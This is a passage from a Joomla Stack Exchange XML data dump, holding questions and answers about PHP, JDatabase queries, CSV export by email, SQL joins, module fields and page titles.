today&#xA;$query = &quot;SELECT product_sku FROM #__virtuemart_products WHERE created_on &amp;lt;= NOW();&quot;;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;//$result = $db-&amp;gt;loadObjectList();&#xA;$result = $db-&amp;gt;execute();    &#xA;&#xA;if (!$result) die('Couldn\'t fetch records');&#xA;&#xA;$headers = $result -&amp;gt; fetch_fields();&#xA;foreach ($headers as $header) {&#xA;    $head[] = $header-&amp;gt;name;&#xA;}    &#xA;&#xA;// Check if the file already exists, if so delete it&#xA;&#xA;$filename = '/home/#####/public_html/new_products/new.csv';&#xA;&#xA;if (file_exists($filename)) {&#xA;    array_map('unlink', glob(&quot;/home/#####/public_html/new_products/new.csv&quot;));&#xA;    //echo &quot;The file $filename has been deleted&quot;;&#xA;}&#xA;&#xA;$fp = fopen('/home/#####/public_html/new_products/new.csv', 'x');&#xA;if ($fp &amp;amp;&amp;amp; $result) {&#xA;    fputcsv($fp, array_values($head)); &#xA;    while ($row = $result-&amp;gt;fetch_array(MYSQLI_NUM)) {&#xA;        fputcsv($fp, array_values($row));&#xA;    }&#xA;    die;&#xA;}    &#xA;&#xA;//Send file to admin    &#xA;$mailer = JFactory::getMailer();&#xA;&#xA;$config = JFactory::getConfig();&#xA;$sender = array( &#xA;    $config-&amp;gt;get( 'mailfrom' ),&#xA;    $config-&amp;gt;get( 'fromname' ) &#xA;);&#xA;&#xA;$mailer-&amp;gt;setSender($sender);&#xA;echo &quot;it works&quot;;&#xA;$user = JFactory::getUser();&#xA;$recipient = 'name@email.com';&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;$body   = &quot;Your body string\nin double quotes if you want to parse the \newlines etc&quot;;&#xA;$mailer-&amp;gt;setSubject('New Products Added');&#xA;$mailer-&amp;gt;setBody($body);&#xA;// Optional file attached&#xA;$mailer-&amp;gt;addAttachment('/home/ladyloving/public_html/new_products/new.csv');&#xA;&#xA;$send = $mailer-&amp;gt;Send();&#xA;&#xA;if ( $send !== true ) {&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;} else {&#xA;    echo 'Mail sent';&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect to see &lt;code&gt;it works&lt;/code&gt; because of &lt;code&gt;echo &quot;it works&quot;;&lt;/code&gt;, but it doesn't display.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2019-05-25T22:45:28.190" LastActivityDate="2019-05-26T02:56:23.940" Title="How can I generate a csv file using query results and email the file as an attachment?" Tags="|php|joomla-3.4|jmail|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="15632" PostTypeId="1" AcceptedAnswerId="15647" CreationDate="2016-03-10T22:31:36.687" Score="1" ViewCount="1613" Body="&lt;p&gt;I'm building on my question here: &lt;a href=&quot;https://joomla.stackexchange.com/q/15582/7092&quot;&gt;Build a query with JOIN, but filter and sort that joined table first&lt;/a&gt;&#xA;Now the goal has become more complicated and I can't solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the problem:&lt;/strong&gt;&lt;br&gt;&#xA;I'm building a custom component in Joomla 3.x. I have two tables in my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table persons  &#xA;id  name &#xA;1   Peter&#xA;2   Paul&#xA;3   Mary&#xA;&#xA;table cars&#xA;id  personid  make     price     color&#xA;1   1         BMW      10,000    red&#xA;2   1         Audi     8,000     blue&#xA;3   1         BMW      6,000     white&#xA;4   2         BMW      21,000    silver&#xA;5   2         Renault  9,500     black&#xA;6   3         Seat     4,200     green&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I'd like to build a query returning persons, their car, its price and its color.&lt;br&gt;&#xA;&lt;strong&gt;Here's the tricky part: If they have several cars, the query has to select the BMW with the lowest price:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Peter   BMW    6,000    white&#xA;Paul    BMW    21,000   silver&#xA;Mary    Seat   4,200    green&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried it with...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT p.name, c.make, MIN(c.price), c.color&#xA;FROM persons AS p &#xA;LEFT JOIN cars AS c ON c.personid = p.id&#xA;GROUP BY p.id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the results are wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Peter    BMW    6,000    red      (color change!)&#xA;Paul     BMW    9,500    silver   (price drop!)&#xA;Mary     Seat   4,200    green    (well...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see the Fiddle: &lt;a href=&quot;http://sqlfiddle.com/#!9/d93f41/2/0&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sqlfiddle.com/#!9/d93f41/2/0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I control which car gets linked to the person who has more than one car?&lt;/p&gt;&#xA;" OwnerUserId="7092" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2019-01-28T02:48:11.837" Title="select data from several tables in one query - how to control JOIN?" Tags="|joomla-3.x|database|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15633" PostTypeId="2" ParentId="15632" CreationDate="2016-03-11T05:29:54.693" Score="-1" Body="&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT p.name, c.make, MIN(c.price), c.color&#xA;FROM persons AS p &#xA;LEFT JOIN cars AS c ON c.personid = p.id&#xA;GROUP BY p.id&#xA;HAVING min(c.price)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-03-11T05:29:54.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15634" PostTypeId="2" ParentId="15631" CreationDate="2016-03-11T05:33:42.757" Score="0" Body="&lt;p&gt;Looks like you're missing a &lt;code&gt;die&lt;/code&gt; statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fp = fopen('/home/#####/public_html/new_products/new.csv', 'x');&#xA;if ($fp &amp;amp;&amp;amp; $result) {&#xA;fputcsv($fp, array_values($head)); &#xA;while ($row = $result-&amp;gt;fetch_array(MYSQLI_NUM)) {&#xA;    fputcsv($fp, array_values($row));&#xA;}&#xA;die; &amp;lt;-- it's probably stopping here&#xA;}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-03-11T05:33:42.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15635" PostTypeId="1" CreationDate="2016-03-11T07:25:06.763" Score="5" ViewCount="242" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Site error detected. Details: &lt;a href=&quot;http://sucuri.net/malware/php-error-fatal-error?v6&quot; rel=&quot;nofollow&quot;&gt;http://sucuri.net/malware/php-error-fatal-error?v6&lt;/a&gt;&lt;br&gt;&#xA;  &lt;b&gt;Fatal error&lt;/b&gt;:  Call to a member function get() on a non-object in &lt;b&gt;/home/project/public_html/components/com_sectioncategoryarticlelist/views/sectioncategoryarticlelist/view.html.php&lt;/b&gt; on line &lt;b&gt;28&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to resolve it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @Project    SectionCategoryArticleList&#xA; * @author     Mathias Hortig&#xA; * @package    SectionCategoryArticleList&#xA; * @copyright  Copyright (C) 2011-2012 tuts4you.de . All rights reserved.&#xA; * @license   http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2&#xA;*/&#xA;&#xA;// no direct access&#xA;&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;jimport( 'joomla.application.component.view');&#xA;&#xA;&#xA;class SectionCategoryArticleListViewSectionCategoryArticleList extends JViewLegacy&#xA;{&#xA;    function display($tpl = null)&#xA;    {&#xA;        $document = &amp;amp;JFactory::getDocument();&#xA;        $document-&amp;gt;addStyleSheet(JURI::root(true).'/components/com_sectioncategoryarticlelist/css/sectioncategoryarticlelist.css');&#xA;    $document-&amp;gt;addScript(JURI::root(true).'/components/com_sectioncategoryarticlelist/js/sectioncategoryarticlelisttoggle.js');&#xA;        $model = &amp;amp;$this-&amp;gt;getModel();&#xA;        $menu = JSite::getMenu()-&amp;gt;getActive();&#xA;        $params = $menu-&amp;gt;params;&#xA;&#xA;        $this-&amp;gt;assignRef( 'HTML', $model-&amp;gt;GetCategories($params-&amp;gt;get('linkcategories',1), $params-&amp;gt;get('usetoggle',0), $params-&amp;gt;get('defaulttoggle',0)));&#xA;        $this-&amp;gt;assignRef( 'pretext', $params-&amp;gt;get('pretext'));&#xA;        $this-&amp;gt;assignRef( 'posttext', $params-&amp;gt;get('posttext'));&#xA;        $this-&amp;gt;assignRef( 'headline', $params-&amp;gt;get('headline'));&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3708" LastEditorUserId="3650" LastEditDate="2016-03-11T21:28:33.593" LastActivityDate="2019-08-14T13:37:37.217" Title="I am getting Error on Sucuri Mallware scan on Joomla for SectionCategoryArticleList component" Tags="|component|fatal-error|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15636" PostTypeId="1" AcceptedAnswerId="15637" CreationDate="2016-03-11T10:01:13.837" Score="2" ViewCount="444" Body="&lt;p&gt;i am struggling to get the correct syntax for my query. The query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;SELECT product_sku FROM #__virtuemart_products WHERE created_on &amp;lt;= NOW();&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('product_sku')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('created_on') . ' &amp;gt;=NOW();)&#xA;    -&amp;gt;order('ordering ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is is giving me a 500 server error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Donna&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is so i am correctly using the Joomla API in my php.&#xA;Edit 2: Full code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;//display errors&#xA;error_reporting(E_ALL);&#xA;ini_set(&quot;display_errors&quot;, 1);&#xA;&#xA;//init Joomla Framework &#xA;define('_JEXEC', 1); &#xA;define('JPATH_BASE', dirname(__FILE__).'/');&#xA;define('JPATH_COMPONENT',dirname(__FILE__).'/');&#xA;define('DS', DIRECTORY_SEPARATOR); &#xA;&#xA;//echo JPATH_BASE;&#xA;&#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'defines.php'); &#xA;require_once (JPATH_BASE .DS. 'includes' .DS. 'framework.php');&#xA;&#xA;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;&#xA;//Select records that were created today&#xA;$query = &quot;SELECT product_sku FROM #__virtuemart_products WHERE created_on &amp;gt;= NOW();&quot;;&#xA;&#xA;&#xA;//The query below needs fixing&#xA;/*$query-&amp;gt;select($db-&amp;gt;quoteName(array('product_sku')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products'))&#xA;    -&amp;gt;where('created_on &amp;gt;= NOW()')&#xA;    -&amp;gt;order('ordering ASC');*/&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;$result = $db-&amp;gt;execute();&#xA;$my_count = $db-&amp;gt;getNumRows($result); &#xA;//echo($my_count);&#xA;&#xA;//Check if any records are returned, if none then end&#xA;if ($my_count == 0){&#xA;echo &quot;No records found&quot;;&#xA;exit;&#xA;}&#xA;&#xA;if (!$result) die('Couldn\'t fetch records');&#xA;$headers = $result -&amp;gt; fetch_fields();&#xA;foreach($headers as $header) {&#xA;$head[] = $header-&amp;gt;name;&#xA;}&#xA;&#xA;&#xA;// Check if the file already exists, if so delete it&#xA;&#xA;$filename = '/home/website/public_html/temp_cron/new.csv';&#xA;&#xA;if (file_exists($filename)) {&#xA;    array_map('unlink', glob($filename));&#xA;    //echo &quot;The file $filename has been deleted&quot;;&#xA;}&#xA;&#xA;$fp = fopen($filename, 'x');&#xA;if ($fp &amp;amp;&amp;amp; $result) {&#xA;fputcsv($fp, array_values($head)); &#xA;while ($row = $result-&amp;gt;fetch_array(MYSQLI_NUM)) {&#xA;    fputcsv($fp, array_values($row));&#xA;}&#xA;&#xA;}    &#xA;&#xA;&#xA;/********************************************&#xA;/&#xA;/Send new product sku's to admin&#xA;/&#xA;/********************************************/&#xA;&#xA;$mailer = JFactory::getMailer();&#xA;&#xA;$config = JFactory::getConfig();&#xA;$sender = array( &#xA;    $config-&amp;gt;get( 'mailfrom' ),&#xA;    $config-&amp;gt;get( 'fromname' ) &#xA;);&#xA;&#xA;$mailer-&amp;gt;setSender($sender);&#xA;//echo &quot;it works&quot;;&#xA;$user = JFactory::getUser();&#xA;$recipient = 'name@hotmail.co.uk';&#xA;&#xA;$mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;$body   = &quot;New products have been added to the catalog.&quot;;&#xA;$mailer-&amp;gt;setSubject('New Products Added');&#xA;$mailer-&amp;gt;setBody($body);&#xA;// Optional file attached&#xA;$mailer-&amp;gt;addAttachment($filename);&#xA;&#xA;$send = $mailer-&amp;gt;Send();&#xA;&#xA;if ( $send !== true ) {&#xA;    echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;} else {&#xA;    echo 'Mail sent';&#xA;    }&#xA;die;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2016-03-11T12:08:43.780" LastActivityDate="2018-06-12T00:49:29.323" Title="Help chaining a query?" Tags="|php|joomla-3.4|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15637" PostTypeId="2" ParentId="15636" CreationDate="2016-03-11T11:20:06.593" Score="4" Body="&lt;p&gt;Try this code -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Start database stuff&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true); //-&amp;gt; you are missing this&#xA;&#xA;//Select records that were created today&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('product_sku')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__virtuemart_products'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('created_on') . ' &amp;gt;= NOW()')&#xA;    -&amp;gt;order('ordering ASC');&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;loadObjectList();&#xA;$result = $db-&amp;gt;execute();&#xA;$my_count = $db-&amp;gt;getNumRows($result); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also Please remove&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Its not required here.&lt;/p&gt;&#xA;&lt;h1&gt;Some useful links&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Selecting data using&#xA;JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inserting, Updating and Removing data using JDatabase&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I hope it will work for you :)&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-03-11T13:52:06.837" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15638" PostTypeId="1" AcceptedAnswerId="15641" CreationDate="2016-03-11T11:21:35.423" Score="0" ViewCount="1018" Body="&lt;p&gt;I am having different environments development and production for a website and each of its database varies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a module which will connect to an external database. But now I want to make it dynamic like if the environment is &lt;code&gt;dev&lt;/code&gt; then automatic the fields must be entered according to dev and if its &lt;code&gt;prod&lt;/code&gt; then details must be according to prod. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_test.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;db_hostname&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Host Name&quot; description=&quot;Enter the Database Host Name&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;db_port&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Port&quot; description=&quot;Enter the Database Port Number&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;db_name&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Database Name&quot; description=&quot;Enter the Database Name&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;db_user&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;Database Username&quot; description=&quot;Enter the Database Username&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;db_password&quot; type=&quot;password&quot; default=&quot;&quot; label=&quot;Database Password&quot; description=&quot;Enter the Database Password&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently, each time I have to change the db details in the administrator according the environments. Therefore I want to make it dynamic and to pre-fill the data according to different environments. Kindly, let me know how to proceed on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-03-11T11:29:57.573" LastActivityDate="2016-03-11T13:01:27.693" Title="Module: Set default values of fields dynamically" Tags="|joomla-3.x|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15639" PostTypeId="1" AcceptedAnswerId="15658" CreationDate="2016-03-11T11:28:00.057" Score="3" ViewCount="1038" Body="&lt;p&gt;I have a Joomla website that missing article separator (featured article menu,and category blog to be precise),while my other Joomla site the article separator still showing up. Both updated to Joomla 3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it has ugly blog layout now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know for sure since when this issue came up. I guess after updating my Joomla from 3.4.5 to 3.4.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any configuration? Or any handcode? Anyone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: Have been changing up to 3 different template, and that won't fix my problem. And have been googling that there should be item-separator class in it's css, but I didn't find anything on mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;The site is &lt;a href=&quot;http://karinakas.or.id/&quot; rel=&quot;nofollow&quot;&gt;http://karinakas.or.id/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7216" LastEditorUserId="3650" LastEditDate="2016-12-13T07:55:42.153" LastActivityDate="2016-12-13T07:55:42.153" Title="How to fix missing article separator (Joomla 3.4.8)?" Tags="|joomla-3.x|templates|articles|layout|category-blog|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15641" PostTypeId="2" ParentId="15638" CreationDate="2016-03-11T12:57:06.647" Score="1" Body="&lt;p&gt;I have got the solution to my problem :) &lt;code&gt;custom_fields&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;/modules/mod_test/models/fields&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;db_hostname&quot; type=&quot;Dbhost&quot; default=&quot;&quot; label=&quot;Host Name&quot; description=&quot;Enter the Database Host Name&quot; /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;in models/fields/dbhost.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Restricted access');&#xA;//define environment&#xA;define('ENV', getenv('ENV'));&#xA;jimport('joomla.form.formfield');&#xA;class JFormFieldDbhost extends JFormField {&#xA;protected $type = 'Dbhost';&#xA;public function getInput() {&#xA; if(defined('ENV')){&#xA;  switch(ENV){&#xA;   case 'dev':&#xA;   $host= 'devhost';&#xA;   break;&#xA;   case 'prod':&#xA;   $host = 'prodhost';&#xA;   break;&#xA;   default:&#xA;   $host = 'localhost';&#xA;   break;&#xA;   }&#xA; }&#xA;  return '&amp;lt;input type=&quot;text&quot; id=&quot;'.$this-&amp;gt;id.'&quot; name=&quot;'.$this-&amp;gt;name.'&quot;    value=&quot;'.$host.'&quot;&amp;gt;';             &#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-03-11T13:01:27.693" LastActivityDate="2016-03-11T13:01:27.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15642" PostTypeId="1" CreationDate="2016-03-11T13:50:59.323" Score="0" ViewCount="290" Body="&lt;p&gt;I have a component that displays a list of people. I want to limit the number of users displayed using pagination.&#xA;My view therefore includes : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pagination- &amp;gt; getListFooter( ) &amp;lt;? Php echo $ this- &amp;gt; ? &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the bottom of table, it displays all the records without limitation ( 20 for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I change the method populateState model by adding :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ Limit = $ app- &amp;gt; getUserStateFromRequest&#xA;( $ this- &amp;gt; context ' list.limit ' $ app- &amp;gt; getcfg ( ' list_limit ') . ) ;&#xA;$ This-&amp;gt; setState ( $ this- &amp;gt; context .'list.limit ', 20 ) ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still does not work. All records are still displayed. I am completely lost.&#xA;Can someone put me on the right track?&lt;/p&gt;&#xA;" OwnerUserId="7983" LastEditorUserId="115" LastEditDate="2016-03-12T02:41:32.797" LastActivityDate="2016-03-12T02:41:32.797" Title="How to limit the number of users displayed in my component using pagination?" Tags="|component|pagination|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15643" PostTypeId="1" AcceptedAnswerId="15646" CreationDate="2016-03-11T15:50:12.500" Score="1" ViewCount="967" Body="&lt;p&gt;I'm using Joomla 3.4.8, and I have all of my pages linked to menu items. I can't figure out how to get the menu item title to show in the  tag of the page, rather than only the article title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For eg. My Menu item title is 'test', when i press the button it shows test but in that menu item there are many articles. when i click on the article in the test page. It only shows the article name and not the menu item. What i want is that it shows the article name + the menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can change each 'Browser Page Title' setting for each menu item and individually override the menu item title. But I'm worried this will create confusion in the future when trying to update page titles.&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="6918" LastEditDate="2016-03-13T21:45:51.103" LastActivityDate="2016-03-13T21:45:51.103" Title="Joomla 3 - use article title as browser Page title with the menu item title" Tags="|joomla-3.x|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15645" PostTypeId="2" ParentId="612" CreationDate="2016-03-11T18:42:02.457" Score="1" Body="&lt;p&gt;You will need phpMyAdmin for this, this will by kind a surgery. This is joomla 2.5 to 2.5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am migrating from site A to site B, same template and everything but i had a problem, i imported a Database that was out of date and now i need only import some k2 items and i want to avoid to redo everything again, so by analysis the K2 tables in my DB i found the next tables are involved: (the ces_ is my table prefix it may vary from yours).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case the categories and users are the same so i don't care about them, but you can extract them from k2_categories and k2_users accordingly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ces_k2_attachments&#xA;ces_k2_categories&#xA;ces_k2_comments&#xA;ces_k2_extra_fields&#xA;ces_k2_extra_fields_groups&#xA;ces_k2_items&#xA;ces_k2_rating&#xA;ces_k2_tags&#xA;ces_k2_tags_xref&#xA;ces_k2_users&#xA;ces_k2_user_groups&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In PhpMyAdmin go to search tab and set your criteria, in my case 42 is the super user that created the items i want to move (i found this at the k2_users table):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `ces_k2_items` WHERE `created_by` = 42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to export query results on PhpMyAdmin:&#xA;&lt;a href=&quot;https://serverfault.com/questions/300316/how-export-result-of-mysql-query-on-phpmyadmin-3-4-3&quot;&gt;https://serverfault.com/questions/300316/how-export-result-of-mysql-query-on-phpmyadmin-3-4-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make sure you copy the images stored at: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/media/k2/items/cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The just simply import the rows you already exported using your SQL criteria to your DB using the import tools of phpmyadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This procedure worked for me i hope it helps you. &lt;/p&gt;&#xA;" OwnerUserId="7386" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:48.550" LastActivityDate="2016-03-11T18:42:02.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15646" PostTypeId="2" ParentId="15643" CreationDate="2016-03-11T18:54:45.820" Score="5" Body="&lt;p&gt;Here is the simple answer for you.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$menu = JSite::getMenu()-&amp;gt;getActive();&#xA;&#xA;//SET THE PAGE TITLE&#xA;$doc= JFactory::getDocument();&#xA;$doc-&amp;gt;setTitle($menu-&amp;gt;title.' - '.$this-&amp;gt;item-&amp;gt;title);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On your front end you should now have a title formatted as Menu Title - Article Title&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="3650" LastEditDate="2016-03-13T00:03:28.020" LastActivityDate="2016-03-13T00:03:28.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15647" PostTypeId="2" ParentId="15632" CreationDate="2016-03-11T19:55:24.300" Score="2" Body="&lt;p&gt;Joomla doesn't handle subqueries very well since there is no real $query-&gt;subQuery method. In this instance it is easiest to format the query as a standard MySQL query and let Joomla process the results. The query below will return the proper result for Peter and Paul having BMWs, with lowest price and correct colors.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db       = JFactory::getDbo();&#xA;$query    = $db-&amp;gt;getQuery(true);&#xA;$sql = &quot;SELECT p.name, c.make, c.price, c.color FROM #__persons AS p LEFT JOIN #__cars AS c ON c.personid = p.id WHERE c.make = 'BMW' AND c.price = (SELECT MIN(price) FROM #__cars WHERE make = 'BMW' AND personid = p.id)&quot;;&#xA;$db-&amp;gt;setQuery($sql);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sqlfiddle.com/#!9/d93f41/18/0&quot; rel=&quot;nofollow&quot;&gt;Updated SQLFiddle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-11T19:55:24.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
